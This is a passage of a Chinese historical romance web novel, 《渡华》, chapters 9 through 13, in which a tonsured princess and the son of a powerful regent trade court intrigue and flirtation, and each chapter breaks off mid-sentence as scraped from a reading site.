他问:“下个月东刕便会遣人入京迎娶安乐公主,和亲之人可如你所想?”又说,“因你寻死觅活要去和亲,引起了东刕大王子对你的惦记,好在你能聪明一回,提早遁入空门,在东刕大王子入京接亲之前,掐断他对你的最后一丝妄想。” 安乐公主骆薇,母族凌氏,孝玄帝崩逝后便随她母亲迁居行宫,比骆苕小三岁,论辈分是凌晖的外甥女。 果真是那个在副都竼城诞生的小公主去和亲。 下个月东刕便会进京迎娶安乐公主,如此之快,昭示大嵘的国事朝务早已越过内廷,连宫中的女眷 9. 第九章 《渡华》全本免费阅读 凌文袤捏着公主府建造图跨出大门,早已等在门口的慕容余见他脸色不好,快速迎上前询问:“第一次见长公主,碰壁了?” 凌文袤脚下步子一滞,冲慕容余无奈摇头,续而提步:“这长公主,是不是挺蠢的?” “你才蠢。”慕容余立时反驳,“长公主只是性子烈,一般说她蠢的人才是真的蠢。” 凌文袤抡起手中的建造图拍向慕容余:“不蠢干嘛奉个空佛龛?”直接不耐道,“你带人进去把公主府探查一番,再熟悉熟悉府内各处情况。” 他此刻满脑是那个叫阿石的半个男人,带着他在府内胡乱转悠,东南西北还没有他熟,心烦便直接出来了。 慕容余双手将建造图抱在胸前,撇撇嘴:“这是受了多大的气啊,长公主见我时还对我笑呢,你到底讲了什么浑话,让她不悦的?” 凌文袤定睛看慕容余,严肃地想了一下,认真道:“她说那么多女子没头没尾上去战场,也就我们凑不齐几个女府兵。” 慕容余一哑,暂时无法接话。 征战四方的男人死伤无数,自己的女人,同样也保不住还要被征兵,一夜之间玄雀卫更换统领,这样的话题太沉重,不太适合他慕容余。 凌文袤拍拍慕容余的肩胛,二人往河边造屋舍处去。 女府兵不是没有,可是凌晖觉得直接用凌文袤更妥帖。 玄雀卫统领凌文袤,副统领慕容余,督领京郊安防诸事。 西郊陵寝、寺观较多,专门有人负责,不在玄雀卫督管之列。而余下的东南北三郊,都有皇亲国戚、高官私宅林园,并且各自设有府兵负责安防。 玄雀卫统领终究像是个闲职。 慕容余领过职当完一日差,傍晚时分策马回慕容府。慕容余的父亲慕容霆彦,立在堂内,在等他的儿子。 慕容余身心疲惫,见到父亲朝他父亲拱手,悠悠地喊了一声:“父亲。” 他知道他的父亲有话相问。 慕容霆彦任春官大宗伯一职,掌祭祀、礼仪。大嵘今年风调雨顺,慕容霆彦最为忙碌,骆骞的国丧礼刚料理完毕,这天热的跟炼丹炉似的,春官府正准备着一场祭天祈福典礼,祈求上苍保佑今年秋收。 单外,东刕遣人入京迎娶安乐公主骆薇,春官府也正准备着送亲事宜。 慕容霆彦为大嵘,八柱国之一慕容烈的嫡长子。 慕容烈人如其名,刚烈有余行事雷厉风行,少时便军功赫赫。他这些子辈孙辈在他眼里都抵不上他一人勇毅,慕容霆彦如此,连宫里的那位嫡女皇太后慕容瑾也是一样,空占着皇太后的位置,权利却一丝都不曾握紧,若慕容瑾听劝,在孝玄帝在世时做好谋划,何至于凌晖嚣张至此。 自从皇太子病逝之后,大权旁落至凌晖手中,远在勍州的慕容烈对在京都的一双儿女失望至极,以年事高,体多疾为由一直休养着,威望颇高的柱国大将军、辅国公、勍州刺史慕容烈,两年前孝玄帝崩逝也没来京都,勍州也早已成为他的安乐窝。 慕容烈自认为,没能把控住政局,是因老天不公。 十年前在一次庆功宴上,饮酒携兴唱过一曲后,慕容烈瘫倒在地,口不能言在床榻上躺了一年,幸得慕容霆彦寻得神医,隔三针灸、日日按跷,再加嫡次子悉心照料,一年后才勉强坐上四轮车。 慕容烈早没了官职,空余勋位、爵位在身,在勍州偏安一隅。招其私兵,与现任勍州刺史相互包庇,追随者众多,勍州的豪门商贾全赖他们庇佑,大肆圈田,富庶一方。 慕容霆彦看了眼慕容余,他没有什么要紧的话要对儿子说,他曾让慕容余在自己手下谋个差,可慕容余直接拒绝,一直热忱于混迹京都的各类乐坊舞馆。 凌文袤这次回来,慕容余直接跟着凌文袤在凌晖那领了个差事,慕容霆彦宽慰自己,儿子大了先随他去吧。 他只问:“今日,这差当的可顺心?” 慕容余垂着脑袋,拿衣袖抹了把汗说:“还成,按您吩咐,没跟长公主有过多的接触。” 慕容霆彦微微颔首,不免再次叮嘱:“也别让旁人看出你是刻意疏远,好歹也是你的表阿姊。” “这哪能啊。”慕容余神气万分,“我在京都城也不是白混的,对付这样的小事绰绰有余。”他还不忘赞叹,“长公主剃了发换了身行头,模样更好看了。” 慕容霆彦双臂往身后交叠,颜色依旧和缓:“去换身衣服,去你阿母那用饭,她给你留了饭。” 见父亲直截了当放出结束语,慕容余心花怒放,赶忙应下退去冲凉、更衣。慕容霆彦望着慕容余不着调的背影消散,轻轻地长叹。 大嵘已经经不起折腾。 孝玄帝骆炜诠早年有多精明、果敢,末年暴露出来的昏聩、疑厉就有多严重。当年为平定北面几个镇的起义叛乱,直接带着宫眷驻扎在副都竼城,待叛乱平息返回都城,纳良策,悯民生,一度大嵘有了兴旺的态势。 可老天总在捉弄人,天灾又起,内乱不止,外敌侵扰,皇太子病逝,一波未平一波又起,让孝玄帝骆炜诠性情大变,诛杀了许多皇室宗亲,重用凌晖,才至凌晖重权在握。 骆炜诠又常常服用丹药试图压制住体内的狂躁,最终,孝玄帝骆炜诠在服用丹药之后,死在了雷雨交加的寒雨之中。 慕容霆彦注视堂内的匾额,匾额上一直未提字,空落落的,身居高位却不知该用什么字装点居室,这是他慕容霆彦作为家主的失职,该题何字?顺应天命罢,或许某一日灵光乍现,得一副好字。 ** 在公主府的第二日,骆苕在后半夜醒了,天很凉爽,可满身是汗,她抚了抚自己的脑袋,头皮上已经冒出了扎手的青茬。 外间还燃着灯烛,她掀开薄被起身,依着薄弱的光亮拢好衫子掀开床帐,趿上鞋履望了一眼屋内的猫舍。 它好像不在。 伸手拿上僧帽,停顿一瞬又放了回去。 轻轻推开卧房门,外间榻上的平平睡得很沉,能听到均匀的少女特有的细微鼾声,骆苕用指尖挑来自己的披风披上身。 因有玄雀卫在府外巡防,想必府中的人应当都睡的安稳。 打开东门往长廊上去,下侧河岸,三五支火炬架在高处,几株杨柳后搭建屋舍的地方被照得亮堂堂。 夜鸮孤啼,百虫长鸣,下游廊道这面依稀浮着从对岸传来的光亮。 骆苕往河上游的这截漆黑廊道上迈,笔直的廊道好像无需用双眼去看,用心便可以。 突然,廊道上闪现出一对幽绿晶眸横在骆苕的前路,骆苕缓缓蹲下身,伸出双臂,轻柔问它:“需要我抱你吗?” 也没见它“喵”上一声,便见那双绿瞳猝然消失,隔了一刹又重现,骆苕起身慢慢跟在它身后。 它和她,不约而同出来乘凉。 骆苕还猜测,不出七日它便会成为山林的野猫,原来它比她想象的要 10. 第十章 《渡华》全本免费阅读 三日之后,公主府迎来了第一位香客。 按辈分这位香客应当算是骆苕的姑母,名骆见殊,年四十有余,婀娜身段,福相满满。 因生母身份卑微不起眼,一直未封公主,当年是以皇女的身份出嫁。 一嫁,五年后丈夫死去;二嫁,四年后丈夫又死;三嫁,三年后丈夫再死,从那以后,她便顶着富贵命无人能相配的名气不再嫁人。 孝玄帝骆炜诠死后,才加封公主,外人称为骆公主。 在京都,她是个鲜活的人物,一直收养都城外的无双亲小孩,抚恤无子老人,拉下脸皮从各勋贵处讨要银钱以供养老小,从来不敢以皇女自傲,待夫家人也都很好,如今独辟小宅独自居住。 骆苕看着她敬完香,从蒲团上起身后,唤了她一声:“皇姑母。” “诶,可不敢当。”骆见殊一面推诿一面应下,笑吟吟,“宁华长公主这一叫啊,我心里头软酥酥的。” 骆苕诚邀:“皇姑母外间请。” 今日骆苕外披紫袈裟,内着褊衣,袖端缀垂髾,僧帽压在耳上,骆见殊能清晰地瞧见骆苕脑后发际的青茬,印证了京都近几日盛传之事——长公主落发为尼。 “是,是,是。”骆见殊赶忙回身朝佛龛双手合十,默念一声后随骆苕离开佛堂。 骆见殊边走边端量府邸庭院:“这府邸真是好呢,自在清净。” 比宫里更有人味。 待行至偏厅,骆苕让申小书女将早早备好的一包银钱递给骆见殊。 骆见殊熟稔接过,谦和道:“多谢长公主,我代那些孩子们谢谢长公主。”双手捧着那些银钱,给骆苕行了大大一礼。 平平送来茶果,骆苕和骆见殊二人落座,平平给骆见殊奉茶。 每回从勋贵那讨要银钱,最属骆苕给银钱给得干脆,骆见殊自然心里舒坦,下肚的水也变得格外香甜。 骆苕问:“天热,那些孩子们近日可还好?” “好着呢,无事便往河里淌,热不着他们。”骆见殊笑盈盈回完越发得意起来,“今年那一帮孩子们种下的粟米长得可喜庆了,待到秋收,我让孩子们第一个送来公主府孝敬长公主。” 骆见殊养着的那些来自天南地北的孩子们,全部已经由官府登籍入过册,到了岁数都可授田,等成年成婚后,骆见殊便不再帮衬,往后的日子全靠他们自己。 骆见殊身份特殊,有了公主这道护身符,行事还算顺当。 “多谢皇姑母。”骆苕思量片刻,“今日我有一事相求皇姑母,公主府空寂,我准备收养两个女孩,不知可否从皇姑母那挑两个?” 听闻收养二字,骆见殊一时怔愣在座上,骆苕不急于搭话,只等骆见殊慢慢回神。 骆苕门下早年养过歌女舞伎,但那些歌女舞伎全都是因故沦落的良家女,等调教好,又被达官显贵以重金赎身,经骆苕手赎走的歌女舞伎数不胜数。 如今的骆苕却开始收养孤儿,里中缘由有些耐人寻味,骆见殊迟疑着,反问:“长公主说的可是真的?” 因收养娃娃跟买卖家奴大不同,方才她确实听见骆苕说的是收养,棘手的是自己那里根本没几个得体的孩子,那些孩子,身体多多少少都带着些缺陷,挑也挑不到好的。 连年战乱,均田令在各州县推行已久,各地士绅贵胄兼并土地问题却异常严重,家中隐匿许许多多的萌户①,而那些手脚利落的孤儿,大都会成为各地士绅贵胄家中萌户。 见骆苕点头,骆见殊不想多加过问,他人心思也不便过多去揣测。长公主突然落发奉孝清修,只觉偌大宽敞的公主府,养几位小孩倒也不错。 “此事好办。”骆见殊笃定道,“明日我便去附近的庄上瞧瞧,看看哪家新生的女娃,长得壮实些的,替长公主买上两个,不日再送来公主府让长公主过目。”笑盈盈感叹,“真不知哪家的娃娃有这份福气哟,能入公主府。” 民不聊生便是如此,生完孩子遇上生活窘迫的,卖掉自己孩子是常有的事。 骆苕却摇头:“我只想要七八岁的女孩。” 骆见殊觉得不妥,下意识建议:“小孩的话,还需那些不记事,打小养起的才贴心呢,七八岁的乡野丫头,心早已定性,恐不好调教,只怕服侍不好长公主。” 话音未落,骆见殊才觉自己僭越了,长公主可没说要贴心的,她迅速改过口来,“七八岁的女孩我那没几个全乎的,且模样生的都不太好,不好入公主府,往后我替长公主留意着些,等您去我那挑。” “模样不打紧,周正健全便可,待皇姑母挑好直接送来公主府。”骆苕直接道谢,“多谢皇姑母。” “都是做善事,说谢,佛祖会怪罪的。”骆见殊微笑着拍了拍置于案上的银钱,端碗盏喝茶,喝完茶便起身告退。 骆苕亲自送人出去。 府外河畔阿石正在杀鸡,心里想的都是,这些鸡是他阿石和平平养的,杀也没在府内杀,更没让长公主瞧见,那肯定算是“三净肉”。 骆苕来到府邸便没过多在意这些了,荤腥不忌。 午时过后,凌文袤再次登府求见,这回他倒是规矩,一直候在偏厅等人通传。 骆苕正睡着,夜里一直都睡不好,白日入睡反而能踏实些。 平平入内静静站上一会儿,好以确认,刚才的推门声是否把骆苕惊醒,结果帐内的人没有任何响动。 平平轻声唤骆苕:“殿下,玄雀卫来人求见,就是那个冯侍卫。” 骆苕被平平的唤声一点一点从沉睡中剥离,拉回床帐,捏起还在手中的蒲扇抬臂为自己扇风。 她说:“让他等一会儿。” “俾子适才交待过,说殿下您在午憩,可能要多候一会儿,他说今日得空,慢慢等您起,不着急。”平平听着骆苕一嗓的慵懒便知骆苕这一觉睡得极深,柔声道,“俾子去打水。” 平平退去打水端面盆回来放下,又去倒了杯清水捧在手中候着。 骆苕这才起了身,撩开床帐双腿探出床沿坐好,双手支在床沿不肯睁眼,好大一会才醒过神。 “殿下,喝水。”平平见人睁开眼,忙奉上杯盏。 骆苕接过去趿上鞋站了起来,对平平说:“他姓凌,大冢宰家的儿郎,往后该称呼他凌统领。” 平平和阿石,只道是宫中的假冯侍卫为了看护长公主,入了玄雀卫,却还不知假冯侍卫原本姓名。虽然心里早已知道冯侍卫是谁的人,听清姓氏后平平心头还是颤了颤,她应:“是,俾子记下了。”顺手去将床帐撩起来,用缚绳仔细固定好,再去到单外一侧。 等骆苕打理妥当,行至偏厅,只见凌文袤盘坐在软席上,单手手肘支案,掌背托着下颌紧闭双眸,好似已经睡着了。 骆苕双臂交叠在身前缓缓走近,停住,从这个至高角度长久端详一位男子,还挺有意思。 骆苕视线落在凌文袤的乌黑幞头上,几小细碎的鬓发倔强地探出幞头边缘,瞧样子应当没有抹兰膏,视线再往下移一寸,便是饱满流畅的额庭和微拧的眉心。 骆苕撇开眼望向支起的绫窗,她再也找不到确切的用词,来形容一个男子的五官。 忽然想起她的狸猫,卧房的绫窗因为忘记给狸猫留窗,已让它抓烂一扇,往后她的狸猫大抵是不用宿在她屋内了。 窗外枝丫婆娑,和风绕着沙沙声送进厅内,静得安宁。 似乎过了很久。 “长公主可真贴心……” 凌文袤人未醒透,话先至。闭着眼双手举过头顶长长地伸着懒腰,“进来也不叫醒卑职,只顾……”脑中神思清浅,一时想不到合 11. 第十一章 《渡华》全本免费阅读 树桠摇曳,远处,方才沉匿的夏蝉争鸣声冲进偏厅。 凌文袤在致人鼻息的烦杂中喘息。 他也是在皇权之下随风摇曳的尘烟,他和他的母亲只是联系各方亲族的系带。 建功立业,哪个好男儿不想呢。 相较之下,昭阳公主所出的世子凌承佐,如今根基远比凌文袤单薄,凌晖不会随便让凌文袤建大功立伟业,若凌文袤再立下赫赫军功加以背后赫连氏的依托,只怕日后凌承佐难以掣肘。 凌文袤为了凌氏,为了赫连氏,只能等,等凌承佐威望渐盛,才能松绑他。 旧年凌文袤亲帅的那一仗,敌我双方用兵不多,単方人数不超万。近两年两地之间每年都会小打一场,似乎成为了惯例,算是彼此刺探敌我防御实力。 那一场若胜,这小小的军功不足挂齿,结果是凌文袤败了,败得他气滞神郁。 他还是那个未能挣脱父辈羽翼的凌五郎。 骆苕这番话犹如无数软刀,刀刀往胸口戳,还不能喊疼。 “长公主琼枝玉叶,消散不得,值得凌宪鞍前马后。”凌文袤冷眼回得颇为简短敷衍。 骆苕问:“若你父亲知道我们过于亲近,他会如何?” 凌文袤对着明知故问的背影嗤了一声,嘲意甚重,“能如何,将我赐给长公主做长公主的贴身侍卫,日日相伴看护长公主。”还不忘加一句,“攀上宁华长公主,横竖我觉得不亏。” 骆苕又随意问:“若我愿意还俗嫁你,你可敢娶我?” “不敢。”凌文袤答的直截了当,毫无感情。 吃一堑长一智,这女人,上回还只是说续缘,这回直接说嫁,层层递进相问意图拿捏他,方法属实老套拙劣。 她做梦。 骆苕垂首想了想,道:“你父亲曾向我父皇求旨,希望世子凌承佐尚宁华长公主,可是我执意不肯。如今想来,应当是缘分未到,现在你父亲直接将你安插在我身边,常常相见,我们若生出了难以自持的情愫来,以凌承佐对我的念想,恐怕会伤及你们兄弟二人的情分。” 凌文袤看着眼前这个自说自话的女人,腾起一股莫名躁意。 这话挑拨他们兄弟二人的意图明显。 他说:“我怎不知四兄长对你有所念想?况且他不是贪恋美色的人,长公主的这副皮囊看看就好,又不是非得娶进家中。” “凌世子并非贪色之人,那便好。”骆苕对于凌文袤的回答还挺满意,溢笑,眉梢一挑,问道,“那你可是贪色之人?” 凌文袤深嗅一息,非常认真:“我自然是。” 骆苕说:“油嘴滑舌,还是比较喜欢宫里的那个冯侍卫。” 凌文袤回:“我也比较喜欢宫里那个一头乌发的长公主。” 骆苕回身望着他,伸手缓缓摘下头上的僧帽,无遮无掩地将整颗脑袋呈现在他的面前。 “凌宪。”她语气放软,“人生苦短,满目疮痍的大嵘我已经看够。我只希望看看这天下,看看大嵘之后的河山,看一眼人间繁华,终究是是以僧尼的双眼去看还是庶人的双眼去看,都无所谓。” 宁华公主府东面的那条河道,有朝一日庶民相邀可以夜放河灯。 这是白言霈曾对她说过的。 女人的心思有时候总是很小很细,一些细枝末节会牢记一生。 庶民相邀夜放河灯,大嵘从来没有过,满目皆是权贵弄权,富人斗富,庶民苟且。 凌文袤瞳仁紧缩,心中登时掀起狂澜,暗暗一声轻呵。 她话里只有僧尼和庶人,没有跟他与之相关的身份。 苍白的日光包裹住已经瞥向窗外的骆苕,凌文袤的目光凝结在她的脑袋之上,颅顶漂亮的弧度延伸至后脑,再没入后颈,延绵莹洁的曲线恰好探进他心里。 想什么来什么。 他大步一迈,从骆苕手中拿过僧帽直接给她套回去。 张了张嘴又闭了一会儿不知所言,最后手掌搓着前额语音顿挫:“你……你往后……别再摘帽了,在谁面前都别摘……对我有什么吩咐,直说,只要我可以办到,定当竭力去办。”他放下手掌垂在身侧,“至于……至于你说的看看天下,看看河山,想必是想看河山大好……这我也想看……你我都好好惜命,有命才能看。” 她这话说的藏一半露一半,别提多狡黠。 大嵘之后的河山,她希望在谁手中? 凌氏么?若是凌氏,她大可不必装腔作势这么久,只要将她所知的一切全盘脱出,像慕容霆彦一样与凌氏勠力同心,定会许她自由富贵。 骆苕双手扶正被胡乱盖在头上的僧帽,仰脸看着他说:“僧帽原本只是御寒之物,夏日炎炎并不适合带它,等适应后我便抛去这俗物……” “你又不诚心礼佛,这么讲究形制做什么?”凌文袤直截了当,“往后就这么戴着……我走了。” 他匆忙抬步而去,半道又折回,看见骆苕还是呆呆地望着窗外发怔,等她回身,他说:“深更半夜别独自往长廊上去,河里不干净的东西多,前两日就捞了三具死尸,你这河上游常有清谈贤士,吃过仙丹喝了酒便不知东南西北,栽进河内等人捞呢。” 顿了顿又说,“颜资善大先生已经答应出仕,拜国子祭酒。” 未等骆苕回上话,凌文袤便再次匆忙离开。 跨出公主府,凌文袤长泄一口气,去到巡防屋舍那处吩咐玄雀卫巡防使:“今日起,来往公主府的人记仔细些,府外任何异动也必须详记。” 巡防使领命应下。 凌文袤望向河道上游,公主府的东门紧闭,整座公主府沉在烈日之下,犹如盘踞的蟒蛇。 她真懂趁虚而入这一招,方才被她拨乱的心神,此时才拨乱反正。 还在偏厅的骆苕伸出手掌,直直地盯住它。 五指无任何修饰,甲面平整修剪得一丝不苟,掌中空无一物,曾经她想用这双手去抓权利,助她的胞弟皇太子骆奂扶正社稷。 奈何事与愿违。 儿时,一度以为自己的父皇给她的宠爱便是权利,终归只是女儿身,后来才懂她和胞弟所拥有的东西是不一样的。 他的父皇极其憎恶后宫干政,所以才会立她的母亲为后,是她母后的贤良淑德庇佑了她。 世家与世家之间有斗争也有联系,白氏六族被夷,旁的世家大为震撼,对骆氏皇族已然冷眼相看,骆氏宗亲再遇灭顶之灾,她便知骆氏皇族已经岌岌可危,岌岌可危其实是骆苕内心对骆氏皇族的最后一丝挣扎,实则是大嵘已经不复存在。 各方势力尽失,大嵘无以延续。 平平入内唤了骆苕一声,骆苕惊醒,垂下手臂攥紧掌心让平平去叫申小书女来偏厅。 不多时申小书女入内,骆苕问她:“平宁宫的物件可搬完了?” “已经搬完,也已收纳妥当。”申小书女回。 “中州有一位铸造佛陀的离尘大师,我想为公主府的佛堂立一尊佛陀像,明日你去城中白鹤巷寻一位叫费覃的掮客,请他到公主府,我与他有事商议。”骆苕直接吩咐正事。 “是。”申小书女回了话,正欲离开,骆苕却叫住了她,缓声道,“公主府既已收拾妥当,明日之后你们二位宫中的女官便回宫去。” 申怡回身停稳身下的裙裾,说道:“太后懿旨,命使女留在公主府。” 骆苕听不出申怡言语中的喜怒,申怡一惯禀行公事的 12. 第十二章 《渡华》全本免费阅读 凌文袤眼盯对岸,身体往慕容余靠近一些,小声问:“那人是谁?” 慕容余看了好半晌还是不认得来人,因距离远,费覃的一身青灰粗布长衫站在一袭幂篱、半袖襦裙的骆苕身旁很不起眼,仿佛是个寻常家奴。 他摇头确定:“不认得。” 凌文袤嫌弃:“京都你是白混了。”说完再往对岸瞥去一眼后转身离去。 慕容余一脸的不服气跟上去:“说得好像你认得似的,京都那么多人,各个都认得那还了得。”见凌文袤走得急忙问,“去哪啊?” 凌文袤把手中的草叶子一扬,反问:“我们巡视完了?” 慕容余这才想起二人的正事,还余下南北两郊等着他们去呢。 每日京郊的巡防营都会将要事记录在册,小事自行处理,大事呈入京中天官府让凌文袤定夺,其实不必凌文袤亲自巡视。 凌文袤刚跟去舅父赫连度兴身边从军时做过斥候,除了观测侦查敌情,必须先将自己职责所在的区域先摸个滚瓜烂熟,像只成年猛兽标记地盘似的按时巡视,一草一木一虫一鸟都不肯放过。 把京都当疆场,难怪败了仗憋着那么一大股子气呢。 慕容余讪讪地跟在身后,等二人打马经过公主府门口时,都瞧见了还套着车架的驴,不约而同停下又同时扯了扯唇角。 服牛乘马是官宦人家的寻常出行配置,与骆苕攀谈的人一身粗衣却乘驴车,此人不是平民也不是官,大约是个小商贾。 凌文袤想起公主府里头是有马圈的,长公主这是待客不周啊,好歹是头小毛驴,哪能就这么晾在门口。 这回慕容余比较眼尖,指着小毛驴笃定道:“长公主府中的客人来自白鹤巷,白鹤巷六户商贾人家,六户人家里头我猜一个——费覃。” 二人勒下缰绳围住小毛驴,小毛驴呼扇着耳朵倒也不怕比它高出许多的骏马,只顾啃食着地上留着的芦苇杆子。 凌文袤饶有兴致地瞄了慕容余一眼:“为何如此肯定?” 慕容余甩给凌文袤一记得意的眼波:“小毛驴配鹤骨笛,主人五短三粗,不是费覃还能有谁。” 原来此人早已名声在外,也不知为何给小毛驴挂个鹤骨笛在身上,不伦不类。 “行啊,你小子。”凌文袤真心夸赞,“京都没白混。” 慕容余神气地挺直身板,鄙夷起凌文袤:“你小子才叫真行,说我白混的是你,说我没白混的也是你。我说是费覃就是费覃啊,不如你进去问问,证实证实?若是,今日我请你去庆远楼搓一顿,若不是,你请我搓一顿。” “横竖今日这一顿搓是免不了的,”凌文袤调转马头,稍夹马肚驱马前行戏谑道,“这么着急吃酒,还要证什么实,吃了你这么多日的酒,今日我请。” 鞭子一扬,驱马。 慕容余跟着扬鞭追在后头,叫唤:“谁还贪你一顿酒啊!我只是好奇……好奇到底是不是费覃,你去问问呗。” “你这小子……”凌文袤勒住缰绳,再次调转马头,“这么好奇,你现在就去问,我在这等你回,不用亲自问长公主,问她的仆俾也一样。” 慕容余忙不迭地停住马,说道:“人都还在公主府,这样进去多冒失啊,再说不就是打个赌想知道是不是费覃,酒钱也不能让你白出。” 凌文袤问:“你去不去?” 慕容余斩钉截铁回:“不去。” “不去废什么话。”这回凌文袤没再搭理慕容余,绝尘而去。 这两个男人也不知为何因一头小毛驴的主人非要打这个赌,兴许是一早起来便犯酒瘾。 东面长廊上,费覃很为难,佝偻着背越发显得人敦实厚重,双手交握在身前不停地攥捏,他说:“听闻离尘大师……两年前已经避世,不再接洽铸佛圣事,只怕鄙人……鄙人难以办妥此事……不,不是难办妥……是难办成。长公主殿下何不下道谕令……命离尘大师来京都铸造佛像。” 昨夜得了信,费覃心里揣着事一宿没睡,左揣摩右揣摩也没能揣摩出因何事请他来公主府,掐着时辰赶来公主府,一听原由心便落了下来,只是见着长公主,难免再次紧张,舌头发麻捋不直,结结巴巴,他一个小商贾,见着皇亲国戚必定矮三分。 还是想不通为何会寻他,常年做着掮客的营生,如此大桩的离奇生意还是头一遭遇上。 骆苕头戴幂篱,皂纱垂肩遮住了颜面,透过朦胧皂纱看着有些怯怯的费覃:“离尘大师避世两年,如若下谕令那便是强权欺人,铸佛讲究佛缘,心诚最要紧。近几日本宫正为佛堂的佛像劳神,大前夜佛祖托梦,梦中白鹤纷飞,鸣声悠远,青山脚下一头毛驴惬意自在,如此景象令我心驰神往,待醒后翻书解梦,指引本宫寻你,寻到你也算是你我的缘分,你只管替我去办,成与不成都与你无关。” 骆苕说得和风细雨,让费覃又踏实不少,心想,随缘那便放心了。 此事不好办,左右不过是替长公主往中州跑一趟,就当办不成罢,即便办不成也得先尽心去办,这是他费覃作为掮客的诚心。 商贾脑子活络,费覃此刻已经想到了那宏德寺,预见了宏德寺的山院大门不好进,一定要花些心思去疏通。 “是,是,是,长公主说的极是。”费覃应和,“佛法讲究一个缘字,鄙人定当诚心竭力去办,成与不成一切交给佛祖。” 骆苕微微颔首,朝费覃施了一佛礼:“多谢。” “不敢!不敢!”费覃摆着双手不知所措后退,“长公主真是折煞小人,折煞小人!”他恨不得跪下。 骆苕没有客套,随即唤来申怡让申怡把匣子给费覃。 “这是二成佣钱,你先收下。”骆苕说,“若离尘大师应下铸佛一事,余下的佣钱再交于你。” 费覃瞧申怡提那木匣的架势便知分量不轻,含胸抱拳推拒:“这事八字还没一撇,没有事未成,先拿佣钱的规矩。” “打开给费掮客看看。”骆苕没有理会费覃的推诿,示意申怡打开木匣,又对费覃道,“此去中州,本宫还有一件小事劳烦费掮客。” “中州岐城的汇顶山,桃林如荫,每年三月的桃花开得很是热闹,本宫甚爱桃花,此生若有幸必将前往中州赏一赏汇顶山的桃花。听闻山上有座小寺庙,破落简陋,你代本宫去寺中敬一炷香,供奉些许修葺寺庙的银钱便可,银钱已放在匣子内。” 木匣子被打开,呈在费覃脚跟前,里头金灿灿的金饼让人眼花缭乱,原以为会是银饼没成想是金饼,这么重何必提溜到河边长廊下,惹人耳目,长公主连佣钱都已算好,像是对铸佛一事志在必成。 费覃一时忘记 13. 第十三章 《渡华》全本免费阅读 凌文袤策马出光兴门抵达东郊,在公主府外徘徊几许,抬膀闻了闻臂袖,一股子酒肉汗臭,于是打马离开,选了个僻静处脱衣冲进河内游上几圈。 回岸穿好衣袍,双手捧在脸前哈上一口气后直皱眉。 酒味甚重,无法,只能让长公主将就。 打马折返回去,公主府大门前,凌文袤击打铜挂。 少顷,阍侍是位大娘,她开门一看是凌文袤,轻车熟路地说:“凌统领稍等,俾子去通禀。”默想,今日的凌统领一看就是喝过酒,头发怎么还湿哒哒的,这个时辰来不寻常,所以不能直接放进门。 “嗯。” 凌文袤转身看向自己的骏马,通体黝黑威风凛凛,它好像也从来没有入过公主府的马厩,每次都晾在门口。 好大一会儿,大娘再次开门放凌文袤进去,申怡引他去偏厅。 偏厅里已经奉好茶果,凌文袤直接拎起茶壶倒满一杯又一杯,水性好的他在河里扑腾得渴死人,喝河水,如今他得先戒一戒。 骆苕踏进偏厅,凌文袤茶盏一放一腔的不满:“怎么又是僧服,还是今早的那身好看。帽子样式可真多啊,一会儿能遮脸一会儿能露脸。” “你怎么老往公主府跑。”骆苕也是一腔的不满,斜他一眼,“坐。” “不坐。”坐不得,上岸后一路策马里头还湿的,坐着不舒服,凌文袤提议,“不如去廊上走走?”酒壮人胆,有些事还是趁早问一问比较好。 “不必。”骆苕已经闻到他身上的酒气,“天色已晚,有事赶紧吩咐。” 凌文袤也不拐弯抹角,痛定思痛后道:“你是不是故意勾着我?我就要一句话,这辈子你还嫁不嫁人,若能嫁,今日回去我就向父亲求了你,像当年你指定白言霈一样,先定着,好让我也能开始掏心掏肺。” 骆苕瞳仁一缩,直问:“你吃了多少的酒?”这人胡言乱语,像她指定白言霈一样,明明不一样也让他胡搅成一样。 “酒?”凌文袤双臂叉在胯上,笑,“你可别岔开话题,几日前你问我,你若还俗我敢不敢娶你,我说不敢,今日我收回那日的话,我敢!我也不再问你敢不敢,这样来回倒腾,我都反胃了。你就跟我说,你还嫁不嫁人。” 她跟他反正要牵扯不清的,不如挑开说干脆利落,那个白言霈和她倒是情投意合,不过也只是定着,一直没成婚么,所以成不成婚和情投意合没什么干系,他一心只想将人拿下,问她嫁不嫁,也只是口头说辞,显得心意满一些,他知这婚一时半会儿必然成不了,不如虚情假意来的痛快一些。 凌文袤察觉自己今日,想得有些混乱有些浅。 这番话对骆苕的冲击过大,一时无所适从。 她是大嵘的长公主,从前不屑也从未想过以□□人。 如今不一样,不管是冯侍卫还是凌文袤,她确实是在引诱,只知女人的色于男人而言是一种利器,却不知这把无形的利器如何正确使用。 使用这把利器,正确与否没有明确的答案。 凌文袤得了凌晖的授意频频出现在公主府,她觉得这造化有些弄人。 骆苕未敢抬眼看凌文袤,心下突突,原来引诱男人是这番滋味,几日的顺水推舟这么快便上岸未免太过草率。 面对冯侍卫,骆苕可以游刃有余,因未曾想过是凌晖的儿子,只当是寻常爪牙,将所看所学的伎俩拿来用一用,试试是否可行,结果用在冯侍卫身上,似乎并不奏效。 而面对凌文袤,骆苕发觉,二人都像是破碗破摔,不是滋味。 凌晖第五子,赫连萨朵独子,背后母族的势力尚可。倘若凌晖的儿子兄友弟恭,那皇位势必也稳固一些。 而皇家,哪来那么多的兄友弟恭,骆氏皇族是骆苕从小一路看着没落的。 她的太祖父夺得皇位立国至今不过四十载,众子不睦,她的父皇晚年打压士族,屠戮皇室宗亲,才致大嵘陨落,奄奄一息,一手建立的骆氏政权被她父皇亲自断送,改朝换代在这乱世如白马过隙,忽然而已。 凌文袤像一把未出鞘的刀,最终挥向何处不得而知,现今,骆苕绝不会明晃晃与凌党站在一起。 至于这副皮囊,不过是身外之物,若有用处也是好的。入夜围方帷,掌灯烛,恭请众人赏皮影戏,一副做皮影戏的皮囊而已。 骆苕察觉自己似乎想得有些乱有些碎。 凌文袤见她纤眉低垂,眼眸半阖一直抿着嘴,他缓上一瞬,坚定道:“知道了,犹豫这么久说明你还是要嫁人的,那就这么定下了。” 骆苕倏然抬眸,眼波澹澹问他:“你可有姬妾?” 眼前的人终于活了过来,凌文袤仰天打呵呵,张牙舞爪地挥动单臂:“没有!没有!”遂问,“那些对你我重要吗?有也今晚回去遣散发卖了去,好歹你是个公主。” 骆苕垂眸微微颔首,那些确实不重要,如今的她已不是白言霈的那个她。 凌文袤突然觉得胸闷,双手交叠到身后朝她走去两步,近到跟前弯腰前倾,将脸几乎戳在她的脸上,顺嘴呼了口气:“就不再问些别的?” 酒气吹动骆苕的眼睫,她不紧不慢往后退避,只浅浅一说:“待我先还俗罢。” 先还俗罢。 